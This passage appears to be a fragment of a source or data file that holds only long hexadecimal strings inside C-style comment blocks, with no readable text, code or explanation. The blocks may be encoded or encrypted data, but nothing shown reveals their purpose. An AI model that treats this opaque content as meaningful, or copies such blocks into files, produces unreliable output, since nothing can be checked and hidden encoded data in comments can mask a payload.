ae47ebbd5e6e3128c9ab529c90282806c20611c29a2b370b3062d24ff19b2f255ece38b87bf4b264d44dcdeaa0f3215e97991786946d52fadaf14cc2dde2d40616dad20b753b661b64bf53931a2da09b9912137c3c63ce8977205b93669570810e0c1bb2b4ba5569478aa3817d0d3e63e4f531c81439df52ac72885eca98ff2ce7a1df17fdf2807ec1c458e1f8272d7822715dca221008b12c4f9920c512f2f59f0ad2335cbfe11654d8d1c93b2a0b32b51d1389b27877ab1f991c75beaaed7e9babecd2c84e6153b8764b04f98259db37ae35d9ef5e556777618fdd40174cd3f2c73cd5552e43ec77681d54aa697245bd5b6c604cd0aaad361451fa2b66cde0f34b3b6ab242ba5bde323d11f1bf8b08be0b01d92752dc17adc9dc46aefe35af643f58d134eaaa9a2c3f7f908eba403766b9dbb784b429a9fc97b855910486d7b387074552c7a261e245c0e61bec63ecb747fc12902045e6085c24ce2a32253dd41675c1d591f4cd325ac69d8937af1a9ef607eb259813042d1bbd3d36a383cc8912db5199a27fbccb29c13ee41a6efcae9c24700e911b1f5e6ae29dcf3b66daa751c3034726a003c14d98443bfde852fc96ede88ab4ee8d47ff970dfe3801de4804dbcc709551a60ec4b1abfb59bbd123ae6801f25563c8a3a7745ca8ebe5d58b3710ab47379cbacbc22efacbd7e897f21757a5afe4bc97dd164ac67475fe8d177727779ce2f514d6e3c5cc17d68dc58b758808a4755e74571796ea2386d5923dcbf4e9cf06f99b92dff74b99b7117b9d5d16401bb414f89fafa2bda2bbdf38dd83bed6b75f285de0354398178d5f693e82668749bad7ee2f68054b187acaa225269b415ed32*/
/*1114762144e0ce7d113d1406a3143a3133f4d002e072c13eb3fee57d0c4da890a873ca8083ec27005ad8293bdf77db9e97ba15e907f028a826fc15593714db7002570e9ef9276b629a781637485bf26b29dbde65370e6169e6dc3dfcfe647b435b8d3d67895923c3409e38eb219f6d0456ce0da10fa3b371f3ab01e26e59a4ce8dde355e185e60105ddd894e4105d1af6302a158e0b350ef3676eda66806d68c175a92b8422c146060eef3a94b94c8609b5197c6acb5352cc3f3026ca52060f646675386cdfe4b803a0fd44a5bef259ef88b340ad83ab60b07bdc152b9531b885ff93d09e4b0f7177dbbf91a832975ba4b3a5ecd82164c2f8d975070ed66f2081547380fc696f3cedc0e5da3412829f713398fd5c006274237bf45592efdb33c8169929ba477bb4cf9c6e9e7ea984f4993818ca179746dac7b259a8781ab076f716381c73db9747d9b27cd984e2e2ddc78f3755435f06531ecfd365e6d751d7d3ab6bce502aff3d630faf51240b6eeaeb3b37cce1c6612761998ba42bbd96f1a3fc8c4a05fc6f2fe7e0849bf4cdca208ce9cee77083eedeb67d264cbe771f4f915cbb4796e43f780312d7d82be362d1f24e608f982cb3b56d413b114df43d56f80c597447f4bc94076b13a46dd56c3be2eb66509fecd0b82bbaa0f87660d2a1046fa4a061ed8e32428f537f3adf29769bdef6a4e054523692142f73ef0ab7b3a9b0a9f0f4f8f513fb6b6f6a4b1c0d9cf428bb399a85ae8b88bf8547658423d5f1ab8e72ad6d6e7f91d8485dee30f96fa67ce14d6c6a3cc530561c7f010377418ad9b6d0742b33b26d0ec8ae01698d832186e16bb5f3145e933221aa176e5a52e7e3f5c3abf8462a62520cb12d8d7ff63df42f97f3d06fdd305f6a97cd7fee2382adfae54b693eb8672384429926fc4e5f0a9f9f384d2188e38758a19eb8813b157a394cc2d9d21c3b113e0450607cb3269d16440000504ca73febf04c2e27e94e77b1aa27f9abcbdbf898618f8ea4ada9962034f5915d65413868006977e62c0f4f3a0d97c73765b834c2b0cd54d52f4b2d8c7f9843eeef1bcc5f59a1964e139444daeb29f975e602c78f3f1ac3d7d97277185ba076fa015071484efd5e7effe64410a2113f7ce36fe198dd5e0765a67fa3924662d39f8c119bbdd68601d4c6c504c8434200292bd9dd4cf5dce91a4bfb1603bbeaa763dda93a174fb20e60f72c6080e1ffdbe875981b6b01d6d26d50c1d6f6cfcebab042c1926ed24c66684ff5b7fbc5f36d88f89180bd217e4d8fabe4dd755eb90f144f9454bc16625b196c3539f5fa09e10eb03c26f0e807a76110e3428b129e3246606f68b39e6a840b6214ae1548fece15ca358446215fae64e9db023536a28aa39a41b91f8fd431f33fefb17c73cacb94322e8e0bc28f49b12ff285e047b5f6b3eb2e249017972b77fc315b6861452c47ec6691d9dfa59003c745327fc6cad5a0fed0739e78ce4bc032f297db5bcb30963de4cde3823ebae1e8930dffd74cc8c941d3ef80c4b46252b260c4518343d9be3927a6fd07edbb93123a22e4ba220facd59166ff81da98cc69abd95ad9b910c225042b1a30bbc5e53df2717ca2cfc07c8e42f5eaffd058e310a78536436c710dfcc16a15bbd532cf5262b73cfcdbbec6d9a0f795e574a5ff8054fa8752f9740a9186d657dc90c8527cacf10c71cc86a3b0935ac5f71737e9f594dd5419fab678692d762e446f6e3a2c68ddb2bf05df3857b8826c39b96a6cdda45fa63a99e32b5e7c562c0c53d1c752566eee2213c3969c086a9811dbca7d3b13b1c5efff5e525c734b9d848b633c8078a7447cd01ee320fab39dcd679be09b0f8fe159bc1c2c0cd27e4efc8f1a097327d52e52df8facd7f0c09e9aeedb79a3c47ae47b9cec48a323d58ddc00e8a1cc393004a4819fd5acaf92565acd598d736b11fac176bd175c36d1b460f2e3103fdb075d6e5db2a98f6261322431316d8952b5b46dfa8caea3451096cb1f806d64b144abdca351b09813d6010c6b32d9ef9305e252f486a5dde406f2bed5b5b010e26fee88c0d1d3d350d725f06961d9d6ee48f43b643726c03a1cdbaea83a90fa5c38fa98d06d66f0f97d1728ebc7a0ea2a0e7d90d78a728a8bade29785601190215577151363c792474a84d0e73f8e092273897e08b688626f57398b97b27ac2147b38bc5ebf569f3cb8aeea12bbb71eed106001a9609084384acc707124aafcbadf2434b0ccee790de55a7aab158c51759c5065f1453a0417db89a4a4f2c963d891e562533b9417191e0ae0fa2e3f3eb06be9f92e0ce918d7ebfe0b9a17da099f3d543b00b4c9133a9a59c68c743d3a5e7d7a9c5bf3e79aad7fca1234f6e41d999e27c907b04a160e05d11e6b8463608565465165a74f96e2997b8f5a49371c1ade5f4558fd19109c60444455ad325874e7563f0a68df6233773a80e227cf51e90a09cbe127da84ba9c347b07522b2f4d81554137b1621633dc4f2c2c8be6fefe00c5762ceedd3dc9bdf70f3c4d5d3559cfc15b4c56e243273b1d28c1e55b90110d90a0cbfc7e552405a1bb47acb7a9cb34b04ac45df9582614b0fa84b9f3540adfe6de22ff8289aa72631f6b88c72d8d056401c1ce69b5d1fed9ac782d55c71c795a0531c0fca3fb47d439c0054f1f775fd118341f6d70953873eb52e2014c0fa5ee0891cbb2331cd4b5fb5caaf835b88092cc35a0f99ee1551d231240f159ba865b44d6e403e19cc7254bfeea595ce5ad829a6e2c9fea6f271fc5d4d4d5f9ae652496fbf19319128418a3b9c70198d76b2794f11b6538b79ad8bec1d5f5066*/
/*1267be1bbf9de6b594c51a7ec829f0a84cc82c5aa1254236f0687a1b75cf6980fd19b926db9a1dd936c4c060ec35bd7e9246a53dc74eefc196398ed3e2b1e155949f1cbd19f993ee8189a0ddc1cfcd6532db8121ee152bd394ea8e92515ca2b33d11d90793c5de08d7ce291d1f49396ba61ddd2bb66ab4c86189b06ce99642e6c8dee118b00fc9d68ceeb8728705886f3c5c55914a8e92da5ed381d971454b9ad890c53b833777bbb6bdcaf09f8507316752261309269eb129fbb299e078ed5ce68562f729d4b433433db1985bba5f596bd3270c75e5826fdcc76ef6b9118a56d84000d06283748977bd6c482e57f19522b236efc8a6247b68ffcba59af4505a4d675308cebb3df0e5ec05469620e7efeaeb6008b4e8720ab9544b3e70a5f1827ff526770226c688e8ace4f2542d43d1c18321b9e39fcc9b5f954d27c55efbb836b8c41b366ec1be65e81530f4760c9e7764a227713f164405627dcf38191d96cfbba9346577c78261756a23aacdaeb443a62f3567bdcbc640826d808df6ad159560ccef1ceccc20cf48e5b3524b902b9bbdbed5368567e48b47948e9573769aa6bb0541aeb550599d6d84ff1ea869fad7b73d6ec1d6cc90a6f2b01a5703d115258860c2aab16f31d03b4264facfdbe89242017b1f3d09498963bff874c4b8896cb675a6f0a152119fbbf5c55fbbf06327f987319d6d700faddfa9c96c203f4b9c60096d92888e42c470c5bba93c0bfde67599bd15981f021044ccc69dc27036a83cf394b7ff5c3b2b1f229c2bd5ea5a5dfac74d3957db264729a47a1a67902b50ed1d31833818941622d50496f58a0885ccde5424d2d9c543745ab303f1af261d21c426ca031acbb39210589aa67d125a15f924ebba9adc03b27b5bfe9133733f7e1a462d1703916fadaa6c35c12e16a44f3ea24026698fbeac6a785e5b17ee54a7e7729cd43745ffc19f5993d7468733c3b0f3d0b7146597959a8f37192e7f71519286f1cfdcf51693af1e2eeb42540356feda8196a51d8e4180a22079dab5400d28dd13bef85b80820b465de609b91470bac50520c9f2a4e3d8b46870cc01edeb66414931028aa8cb523c97e70cc87b842f071e095d68a816d2b5de9ffcc130d0cb978e0fb10e8f330e22ab96149e940f2216f2abe27715ca60218d3e13900a822027202c18a184661ee2c1925244663948f00063ffaa9470a2c539c956f8dd3cc845373c8bdc25e379ca005e4c0adaf39e6118f5b5d6aad0f33c1d1c5a93558af95964ececd56b489c9000fd72d698cf7f560ac8f7ad12876280deeed74f9d50abf0dc9d86b86cb49427b9f8471dd34cc74acd475d5258cbd33fb9cb08231051d64f8d0bc2ca685089c042c41fa4520f1e12c1851b56e02639c0aec53865876e6431b47377d734d9d0f707c94477c135e915b1b8d9c2acd30f34bd294414994713ae3b3e0394c9983200c5c5ed62ba0eaf27d9cd3ec031398f1fecf8fe70650420f253f5a175d1df674b048db8fdf6196e03f02c32cf2ce4e185a4d766903fde27a696e0f7bd39f41c74afe314270b8b95a34002f42ca3e6cce9b297c5f53355eb96e6914bd3a7b89271456ffc9c1c79efd1017a7928858106b0a9bced80dca76a8dd44833be886077e35b11d6ff4ad650cd85523780a8faf924700824f7780abe550b7c78c8f451412d676667c47f19200ab3ce92d9a992fcfaaff4b15769ebfdf7dbe21618e6d6ede0a7a2bab68e273c7dce4803c3cc074a4d09e39a71f25129f8291b1bc3064f60d61658283fba4704a0b40b41c6f9ed78ac857eed5400b50929417d9e47b3db1643b06a3715f7e3c1fe84e3b4ece264b2fd3041da8a97cf54f6cdb666516e3b02000be4291e438dfb70e708bc1815de5ecbd6673220e2042bbc965bc36a6c3163df65bc110f37ba594c02f63286695936033d438b5827ee3e70ca3beec36b576e0ac79d2b22d742f9debc8f6173de556ce77c5cd4a9c46949f9834ec6698982bbaceee7a6994232a253e7c16a56caa8b005d2363b88ed566a05a05f793e7ff4f741ff4bab94d2f5903bf7b27500735b94187b2b121559c3be0de4e79e2c55b862fbc6d717916953d22d83a228431d19098bf1eb1ff70095663c5f61428542d15af372ab2baf067442e0a76b51f1c36f0ca77bd4ba1c2692e00b1f387fc0a444049527d2f1ad069c63342a245ab4bc363b1b8c9cc1fd061bf4ef545a8feaedaaf877daff4ae366d3e0294ffea1879e47fe0581991a0e4693610dba9c78ea8522b7ddbae4de0be721e39a83a529350f48df9a3c161b08a1057a2929e6aebce5f0ffec051f70f23c99292384c97b699ceafbe97afa3402dbbcda7eb5827867989373f47d8527b1578ef3dd377b57de492861e97f8ab1a97fa3bdec3605fa8f7bf8afa1dace43598f5f6addc7e30da1229c90bbe8f4d934e9e775c72c5922afd3e97667032a7bc77c113d00f997a6aa29a492d95b016b1c9b2364a04b1d9438a4f49636dd6ab480e2ccc1efda109339f3c649c8935f0270beaf0cbf031cf4a31ca3e7c188f4a9140807b1298da0b8874b82287859e32bbf6177fddf417722d8e19e0b55cf8c7b29f627049c75322a937847fa635469ce69af8de98a33a2d13be319cce0df55efd4aef0f08aa82476c7334d11d372caa77a5c7d6f945e3323246b259094f9b6ec61999cfc399312f3f11b4a5c845262e9476c029f8a22dc629985d30d1c7924a2697ac3e10addcace361a983b7d37a7041f0f3ef9bfe96ea529be2d3885e5def127d2082ef83b7b4d2eb79d78e9c24e2d21e7820aa51113224d603841ff1476f29d*/
/*805528e762bbc196949d9414333c59d92df702f9e8cf79fe9209438745d107060118022a73a64d530161d95ad48c7121d8787c250e5aba7a82b1c2a792601a150ff86d278bad85d09fd7bff7ecb28231e8592de33a26b091f465284e8843a05688c23faa02afd8b374ce321af5dc7c492138c240e1c429cdcca967030642fd2c066fd3ec43c4e5ff9eb59e10f7d6e771378c59f6e080f3452a54e8c5f37c0cf7d92894057254555988eb174e30d30a93fafb48645ba6ca87ae910d68c5d6a82b7f391bf6d7a75a9804a4519d6e074c63c4f38e1d3a51043d8f3f77ff0f07ac6e6542a886edb4179fcf184298efa40920ec7dc0baaaf5077c9f638ea06e08e3cdfcf72bfba4827dd00ef1ad0f5517881efcbd280de5ec1f169ef9c23a69c284ddc11376cb6e61a848ca938500e223322ddba863d95eb15ce01d658a7e654b5d861e7e3e17613f5e1d77390bdff90807a33fbcac398d743890f79f2674e5e2773898460f4e8fcce5c7622fc328016a553f19acd2aa8ef16b67d1e3836944504a277ecafbf1a55ffdb655136d4fa8b70893483edaf59271c89fe3a212c75adcec19e0e09b05676d26251579fe29f1c69867d58059b8b15efebde3619c3203eeadd3531155f0631b17576da9cb9a98e747393f032ca3fc1265fcc2b06a6e990d8b844723ac9ae99ff38ec2366ad06074e0ffdd82782c1cacf6d03e78f0d5bf4b0d6712023a54689b274c35a3ae3eb84477d09d71e14621a32fb53892436925b43603ad94c57ac57da28d6c735815195b42934ac00058b73b4b1e222ed35fc01acf161e67cf367e0edb21e719a09dbdf9d9dc983235905706d42baeebf3f200fa616264c420ef3d7040605a604d6ee20880b488bcb9a6b6dbc76aa0c2579d2d81112a85e2b9b30e2885e8b88b7788dd5cc70fc7e406ef2e3656cd774e57fd382334e5197f658ab3f18be52c07d025c176e053227ec97d270bf139a3f65e751696c9a960393d7ccbb410e8d26408f4a8196d13ff539c87b5c43a06cb5a9aedae68fadc2c7ac8417fb67d601e291301b3b09cf42eeab3ed915151bec0651c8ebe64a3b61762bb115164fab2e3e9a2fd17d30ab06c790fc31423dfc7f0bb69ece7158f3cad910efd5d2d6c922077bfb9c8d70c374ad4cab9102e71b0b6ac50cd94472171f374264a14ec59a9dff2582cbbe28d2d81f879676e57e4012207ec8510c4551ccad88f712ffeebcb3391e22f9a757722ffbf896e32bbe48f0886076e244aa68e3274d8ee0a8571542422d959c2043da0bf04bd227f37087904408bae5469a9df3371a26fd244679cf8246f645c51e46f556c57b66f1edc51d24001347abbf4d65701988882402d285e7035e3cb83e198115fb879a1fe6bf6761e7212f113cb7289504c6db5458f14fb040c5e9b2a6f28eb5fd5762423beea6639f9392a539ed24bfc9043020580778f9e9710f4d1be344786630f916e368fd0334b283b56ef838bf41b7cea0fed8e0c21c21331826444a4b17bdc61ab0ed67ff3c099c2974d95b9dbba68d0e3eaf6583cf20d5ba789abc34afd100d98bcc41a8fc15daab3a0dc6876c308197cf8b883017235083a94af80ff8ea5b987e343dec0e2b0c0ecdcbadea432804180b399e11abcb81b834c7db4550be75ffba5d351ffdbc1c8c49fe47561852e0761cf19b85a7a0f328e82b8eb63ee36d73848b0a831a032e7ab848d8acadf87a95945aacf9685bbf15847a4913525bfc3995691b4749eba555a0df1d8d1cc1bb0e49206ec831ae310dda02cb76c2fcdf5cab0b725eec59ac6e2086f5b94c3cb90e7e3704bc707e236575a8e7009dabb1826b37804f7219fb28db34b9a9b976c5c66d334a0b9c13f57f694002cdf7a351ba59cfda86a5c4f93767b7b61e2033563d44d799934a19c4920c8d5c49da7309ea4c18d54a4cec53fc2ba1a20290d213210aee5923aa6da35fbe53d3d04c0c5c176848f0011a5521653ba43c44eab1463410143fc44db4824ff0ac776cefd0a9af510ec7bb3f2d6fccfb1172311442d3e00b3fc845fb86802131d0279bd37625ae0fe64f13bc8a3f78cc7a609ad5dfdfa327a4db9b7f10bded03ba0c7c5de33bd717b0ad7a835697b1270903d6b70ea9a47c1392f8aa01814c4e48abc4d1eb3b6a2a5653f5ea33b5594441db62761e8b4d9b389984690554e58e5201da7720fc94b85d0f6df724931a201b6d630e0c8add06aa8159fad8545fe6efe9b31cfd50ba3bb54f7862372234a213591a2fe04846d951cc22c1b7dc2810a6b7026a0f0f9aa50923a7762c8d1371f93f9e9557e26bdea73b379532298acb2bb9c5e715d2109871b2da1e30075715fcc9bcbed6ac8e0e59d9cbb659ed3eae2878cd8389fa2079b96d0f4730f2746c47a5dee451aea59893c9581429623f2b5a24fc091369e8a87bddf4fd83951487b2c94f8f5ea8f3ee034062d1f9aee1f083fe71f58f31b7e89340db806fb877b7d5425fd4f5249d5cc9988848326c00e69a78b033d07f5583683d464f1d969e870ce126d34c6d96679cb57b46d610625f9cd1df1ca0ccfdcdfaf439d29d5b5fbab74c25dd82f0dc3e2e382fd2f1934f64533c29a357a368013d263b2cf96938947aa9164e593408e61d0f1f992c83b2e39dd12dbdf0e4fb50b147b7062e9f5143b761a0682fef8568fb603845b7785721c4dc6a2957b99dc82921999b2cc6b2cbd20c183cb99cbe3263174d063f2267f620b7c66503398df7240f59b8de1eea4b07e009460fc3983a223e0d40a7f17a2ab9815d5f05e9e3aaa5f9bf7d294b9029b6cf1481dea133111641be36c0d66e77825*/
/*6c0ce3a93e8a7456c921d1526b96d8b12d0138d157203654b36318796685315b2e97c6dc12a4f2a36cc7728623d5d0b15b4737da7637cb1558a2a0127f8710ceb0cb0024df66d56ff331f6fc118641f9fb730368ec062ba45b7083282a080f4d3b83312a3e4660f9264a64becb5a3021fd5813f529f718a05e40df5e06a602b440772ab3262ce37b8c32bb208a0be8b66dec3edd5a8a188373a3b9258a4a2ecd472b9f99a85454d8ed2decd73616828241a2b7c7da76e09734e9a2e4b9f360563faa8d4f895a0adc8b24bc8e6ce68448fa69b1707b8981cd947f284c5cb8b81eacd7b9948edebf6c918fee9630a5d19557a58a91a12c9bcd8b28dbce39710a29ec4c154563705108887e95cd4cb39a6c93207e8a17178d4711fd79db5df77884f5ab2f4bd21253e08517da853db5b0a78eeb16d3ca1df9364a20636c74329379792fc408b5dfbc7f2cb3612dabce29158607cb35042cef56db3ecebf817c78c1c2769d7219c5f7f5ca83f8e4d5ef50d9ce626d60418f37e180266d23a3ffe86ffa1efd00b7ff2e57016c0d3e004e3109f7e12f31c9cbfa003ff7d237b38d62d4fbb703c99020c0e4dca5313acbb86737a060e7b81ebd784600b75becad25d00a1120f4bd00a198b53ac87a11e8b2af84ba0f447450912999a7c0cc14898429278195fc220af852a2bca65c728abebae4da8f676a2eea4c66adc0534fce1e89c770280431b10fd7ed5e2d38d94df8276f4382b3837851f3671764672c36650e59d4f75c2a16cc8defc5ad9d05ff8e8667f9f3a3a0a03fc5b324050ced4bca2dc28e78e353e81846ae107584ee40de4004eff496cbd596825874ada4c2dfd5c62bbd52586e6219361d7d95354177079e32ca4a7daafaf6dc3f664336b5c629fc3f57f37c8b8de3207918d0d2972d8473a741e81955f3aa97764a757bb33bdb98f019e3fe31e3f6bcaf8706673794f6e7ac1527eef59a021fb45885abef0cdc496cb709251528b15a531d3a5c6db50f973c3060326a41327f21fd50efe77ab9eaedc52a9fa0e20bd44d859a7b82e3b9a614626eeec01ac8d0dc25e540c99793d3acdbc1f3fca92a9d8323d01bf4d072ab2aee1bcd78d03918470569fa76fc8082754ee96703714ef5d99f3cfa1dc5dfc80f33602bb92c094b1b46c22ac648f668745683882018e3ed7bc1236fe2712f01e2eeebe7a725c053209defa546cef75d636e18cff6c4806c93f71d6009bb62aca86d7f41bfb1b7ac242bc4276e2774fe7c86b048daba63af30cb1160aa12668dd4d988be3ddbf756d3667d6f8140ae3265dc7bac8b9c9618be474f74e56c977d6c3ea36b3808a169ed35e000feb88e1cfd09e0b2aa58555f729b63047d497585093abf868f3e56fab57034845f1ee8ad108db3c29d0b4a5ca184c55d58bd4b714edf701b7a45163ecf465f21f6419d49ffc4e4df46a72d5a3854e132a15cc400c416d535a89436547655b6aa1e24f80c2012aa40db7db46ac5c0c39a113468ee6fa557f96f0cc2fe11d913fdb2937c4f7b107e91e03f8437334910cf4d96de0c750c39a6bca671a7202e482e855ce9eff2e4f05bc56df1ebe5d8a3db24948395c56ee84d8fac82a8de6bed59a1f31ad939c976d5a63e2f04ed19288f99f5dee11b8d357de0e66e291f195cabd3a94d5bba524b69d080208fdd40a5722789db3a7eb68a189ae006abfc7e83258d1e3217f13c6763fb3c94907f0039814192c0ddca3e2b1d483b436e47901e98ed6dc3e1d42a713de279e6beb0814fe49bff69fb6dc73c775cdd7d01d51fd203e7d876c8fee4a96f0df8467f1b505450508b70aa99408761a11efec8b69fb151f111fd798354e00c13b86118a9a3622fb86f182fc55c0e75058590e4ec8c3e5a04ff70992fc449863e1005606be182c975026c67dfa7773cfaef362b42ad1c6b5724c53d8a962bc31b06292bf0209237dd62a7c5d40e5e4e709791195b5052b9006f7ad72a1fe7b072c20550754ca72da5ea01d549f36e4572dd658ea50e3ca7271c551a62af0e482cb7667f6496af236e19e8432e17b6507795f3e0bfafa04fe8eb021fda4447e2db7ea7d4ede4b4e305d7d87ba84756b0f1e1c07c480885ba278d57c2f9306807dbf6532f91818b8f17a3468d5ef0e22bb97a55b0a5466992b6e6992d7950928706bb9204afa68f6874c42e1eac9b1c0f4a35f61b37644b2f6fe1fab048b32c16fffdd865130bcd3b1319a43c0447f9b1467656e493b94790576c9c6c1c2f77d3d2393c1cca4eaeae352411fd3d3cb4032b6737d8999073a11eacd38bc28c347ecdf09e05e3728374a76068177cb017b36d5f0f80870db24f3972807a88d667a4997e79e265eb74f679045bd92dab67d8c78691ea1071fde41183cbd5afdf35006d42a1b132389f103c97ebb0760112816d9be85c5a6f3c1777c0ced871b0991c30910ec065b52e91aa6a17911e274d5c52e1c775912e22ea5aa8dd2027ab52ddb4b757c9a2e8f497498d352956f0d8d19862eadd6bda426ecc3a587d8ef963028b3ab09cb415d8734d3315edb13576ad441f318692b158089f2ce3715e99248ebfba4ae93bcdd7fdd399972e5e773acfd64bb74cdf1991a7bde0fe64a50c6e689ab2a5660eb19a679144f3f0d13de36da82b09b5a0c08cbe81603dcc9472b7cfd7f2d71226bd459ead8a9f869e2ed52499eb19023742fc3dc944e6a771f6c38402cd6976666f7c8a32729def6cb8025df71f2d57d238dcba27c027dd701f88268255b26ca122cb97f99c74745a78558f8c81bcde6e2556d4d309f56cfc4d9ab78ae401399b23dc78244d456708*/
/*001bcfa10f0c088ccad436b00781d5a0adef4dac786abbce13b0ce7d1210d0b6dad1d2307d29043d88d75e2ea8a1fe6db66193209aad8fc28a0e4d658d3aeb8c5d8bfccf10c79be9cac605bd53624fb1c6d89f149a8e3647f5ce2166242240e3ec0137d78eecdc7bf85d553d3697975f7f2684d7a6dcc0fa63ff7b2819e8c83af268013975c33517ce969deb3cdcbc74f3964db0c2b4b6f93912915180af1be5f915f13f43d6fdc5e831aa7f8eee766f4989a93841a200dac4b2fe11a5cc3a20bebb67f15c7dbae26c8161aa0a77cc4b996cbda388f949e0763627159560dab4262231ba9b86f29c2ef6977d09ba0f7e839c0fa8040105eee320bdd2e1dca0b9dc254a02b3367878eb5f1ca4f5f6456af00f3abd199beb532e417a0458c27ea3258357fb2c6c6a8458ac48c6dbbb5ffa0585466b131ae5818a8e6a52770c76db2852436a7afd0f2a536c919f5fd765765d4b510146bbb153c420b5d5a69b9cbbea0bb334d5c5f93dd1a340b50196f6b85a777a2300b92b73deac2ec4dac655e8df084a89b571deba08ded5f014d88c8d782891c2629bc91157a16d6c922f30d163313c22cd8bf8d8bcf09b68036ad6a8d421ac6e703dacaeb48968d1340cd176d3a4b8686644088440dec47a923de95718e205be2bdcfc08a2c23a2a26d912a110febee638d97b42272f8b3fa2354d4982a30ffb96c5186267ddc86b51b3ad560d64938f816c55a8f2954158aea4d1b82b165e2eaa3e1c1b771b1bb24822f794d302bef0404bcfc1d1b766914242d118dc87b332a7052095d913351cf2b9e5d934572831b83081133e9beee341d6e7f2c89f531edfad7f425d144dc1c8f0f7cd3fed5b801839701d826a42f877453b8d704196fc2ab92673bdfc30c2540710659552a2f15b4007d242bc7b28870e9eedd528a665bf04b65fad8c45084659f203cc9d169ec2b5a9eb3d7f9f4d1f27bbb0b6162146696edeb9dde4be88703e0187c57cbdcd9e78b57041913901e718ce42869e9227c0b39e2d9cec1a81e6729f9bd1cea0ee8a4bcebe0f93ec86f983640ca8b22707d25d9a2c3b73d1dea3f8729d51d972b93dfd16036fa2605d6692ec5a746efb5172818983322d592a43e5fc7f958da45248fd136360c6b5345f66c0a29a033cf029d18b6e5fad45ccaba0c10a7cd98c2cca7a8e0184d731fd76f56cd68851739f446a1eacc3385eb5b54c6c1d38992bf158b61117f1d4ae277410ebde6c5df96e433faa9879187757eb048ba055e63668f3770acc65cef8513c0af1a571a1a60a59224f1af9977cfeba1cbb9f180afd062bfacd5b8ddca43a000db2209c5fc382365ace40aaf3f2fcb9c9239b762531fb686d742aac68f2b5807d886ad22ced953ae922329a4e4a8432ce502757c8f4b3faf440a79877dd985480351276f8247a8572d6e01668e85b34fbb553184e4566c0afe92a88a1f6de09160641da8dda14bc407c044f9a2309cb133dc738640a18c08d72186d6a6d88738a2c87cad3618ed1fdcacc75343eb3e9a3da1105e28ab1e41376e25e7bb637538602979781f2118db4bffdcd9f37b295bd0c982f091d88a33326477741d30414a0b8278f630ccf5a2cd06a1f1bea6f20e3716792437df2ffe6a32a3137dc2cf645fb7bb281b3ae6ded0128c26faf22acc0526f88c0c2fd33fbf5939eba41ea80573fc9a4cbe2a03dfac41fe496661ae329f7a88f29c2088d366759225ea528c0f023c8b818468359346f24aba3b495954cb4a2fcf7b6b450f39d38c4955622345c83cab7cf2eb74f8ed04a4040aa5126848834a030284be7c0a332ed9141cd455c05188045222ff92b1b4635868c43f341bb8362e45bf3b43a8456161bcaee2a26f2e985ad952d87408046332b40a2314a98654ebc4b420862b3349e898de214dcb579ee2e85bbf1bb0c143856c21651cdb8b710cd4d5e8c7a83d4306fe4e5741ba86f094b807a85f3c2cb3879161873e49cb9b677eb986f4f4fedb0d9edf1a7cb814ed803f48fb7e3329b388c96783d08265ad3802b1937fda683cfd8af04e950764e8d74c02ebbbdb862256389993073eb81194b82739306210227724456247e3addabb0d0112bd28abfa1a319f8a859b377f2f1b1ee8d659fa00c602d81f70d5772ffac4bbaef543ccc7e5175da4078055efb181940854216a47852f0511f61a4d9ce141132a4900604ebfa5828aab75e52262ab8257d6b097ef0cace33cae5ad3cdc0a3c2631ac17d69bcfe11d87ae7c68e6effe2c243020529f850fbdb9c9b963bd3ac687ecaf7166fc6db56121fd09f94e4252931776c32900850ca2d306785b528af26754623c941581f9f816958122b6b5f331acac175b18422d2ab51d3fa09c5c14cea9a07a7f4e8bb70e13e0ebe9f9de5004486604351ebc3873eb34e3402f242f3990de963e73d4c4e877d95668148906170e9ba90bce69ad34da49be17828ec1097d119ac87f1aa3114f77ed8fb289305ee9a646e864403b26a4f9c5c6d6ba9243d7e3a14bfa86d25bc70946d52fdafcfcedeb2e469640667f70b465ae984dc57f7f637bb50071203bf866cba675a967da39845b287be282a7387e06aa7f41a61f6edf7bc605ad6b038998c0a378fca378017c215df3bf33a3135b2ced5b4f1270b6dcf43e3b2435750847f11d9054017c196b432aac09dab1e754cc230dab0e96edd2ca263e8b858e175bcfca0f0c5af834829fb7a917f566c23284ae7f0f82d9ed50fa9a68b2e8b0ab60f666afe368dc96d1d0e07108aba46973b4a3e33c0f26b934f130fa94d74f341699c4a1dda9623ed2f98de94eda7a78ca2092*/
/*ccaee9b6ddd91cbd277495127e657ce5a8900f1a692f6dc4b809dd7defbdcbdc8138480f42e641bda7cc480f8fa8fd186a93e9dc060e885ac04b29b6498f3658be348a9af06538cae319cab1645accc7a6c0917184e415aab5e59ae810cc109be2b98d755245bc63df69af52d9b7cdccd99237df0b0060c943f9397de5ed3117e49b7643850e2ea70b737f21779a5dc8b457bf5104d9287c562c7a4d247b75433349d90307e33f6907a334ab3aba64c5a42a0ad092d0d6893a164590a366faabb6a1f00cff2bcf79dbed68ba760353f80c9734d1e52a7954fca093283dbfee6d4b2c83d0b3062f0882f9aa46557a88fc0a540b7c72488f3091e78af579cee2829636e9e1d3d351decc972cf7dd77f0891ea5a815390fb9c3282d33c697c172da5e50047a74c7a5a52d4b8beb0c287b0e7a9a2783dcf33a96f1d0d353eda5480990d1fb3d9189ff3329ef15c0a42a7cbdfc494d7f0f0dc917b8e28efbc9f81848db98b412ca508a5bcf9afd10ed6bed27116a03d807616636c3c43bcbb270e69bf2538e9fa95184d79dd77cac11c7e7fbde17930f5db4bbdbfec2898d8f49ef0c4a97e019fc24c8d9f8871b70814d7030b1e31f820e843a2272ed61b188743f1ff8b66f3f89b8ffad36cf2e99b6225cc7b9d4696d420f7e0b902c4328f59e43948552998f543437dbccfca851ef78d22bbe2f7485c7caa85f348e4f1421ef35b1d9806b701d7553d428b5c1d9ff8c086cc5ac113f411480814c3cfcd69f9c29ad05cdfb558b9bdc964a1c7d3baf26cecc417f9f74fcad9eaf7cc274cecfb64797aedc76489aa9f81115c2bf9c3b927dbc416661d966f038b5c14c53230fc870983a94f9f0c93e540b2bdaf8263b41c299a1428c4a3914379e645c3399e1393dc58351cc2d5abd10eafca6f9fde59e0745fb67ee9d9b9d96574060b6fad5d0de1e645da7e9f379688c0c7b37e53696673dee99bc9486364420023dad4bbdf3d5a754898d10b3f8223932760dd84bfd1208c6056151e9664d4f729956f427c86875256c3fdc8ab76df183f39401a3464542c46412e1eec57c3aa9104e1c07eb1f833bd8d94d8a54e91d30a54decd679d5a9be41f497842bcaf92f979298f3a6fab6212bd5ae21e0ff922eac6ed7b21eb431c9b5f39866649e9a642ddbc0cea263834267ee881e1a21bdf3678c7541d7660fe3e0539284bd19303b0d7752ba688287b9b7e8622a3fc46e229edf203a19c73f406df0fbff6674ddcdf3aed1c3888211d832979025756a27a